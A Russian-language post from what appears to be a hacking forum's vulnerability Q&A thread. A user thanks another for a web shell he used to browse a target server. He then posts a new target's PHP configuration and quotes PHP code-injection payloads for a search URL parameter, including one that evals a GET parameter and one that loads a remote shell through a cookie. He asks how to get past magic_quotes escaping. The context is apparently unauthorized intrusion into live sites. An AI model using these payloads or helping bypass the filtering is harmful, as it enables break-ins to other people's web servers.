Ваши вопросы по уязвимостям.

#11

20.03.2013, 22:19

rogatiy

Познающий

Регистрация: 03.03.2013

Сообщений: 46

Провел на форуме:
11733

Репутация: 0

Цитата:

Сообщение от DarkSorcerer

Ищи директорию с правами на запись, хотя возможно там даже есть запись во всех директориях. Ты можешь ходить по каталогам из шелла что я тебе дал, используй GET запросы, копируй ссылку "на уровень вверх" например и подставляй переменную с параметрами из этой ссылки в адресной строке.

Выход был настолько прост, что я его и не заметил (с)

Благодарю! Добра тебе, милейший.

Господа, новая задача:

Код:

PHP 5.2.6-1+LENNY16
allow_url_fopen On
allow_url_include Off
file_uploads On
magic_quotes_gpc On
magic_quotes_runtime Off
magic_quotes_sybase	Off
cURL On

Дыра всё та же - PHP inj в URL. /search?name={${eval(stripslashes($_GET[cmd]))}}&cmd=phpinfo(); не пашет, name={${eval(stripslahes(file_get_contents($_COOKI E[shell])))}}, где содержание печеньки "shell" = 'линк на шелл', тоже, точнее срабатывают MQ, кавычки экранируются и запрос ломается. Идеи?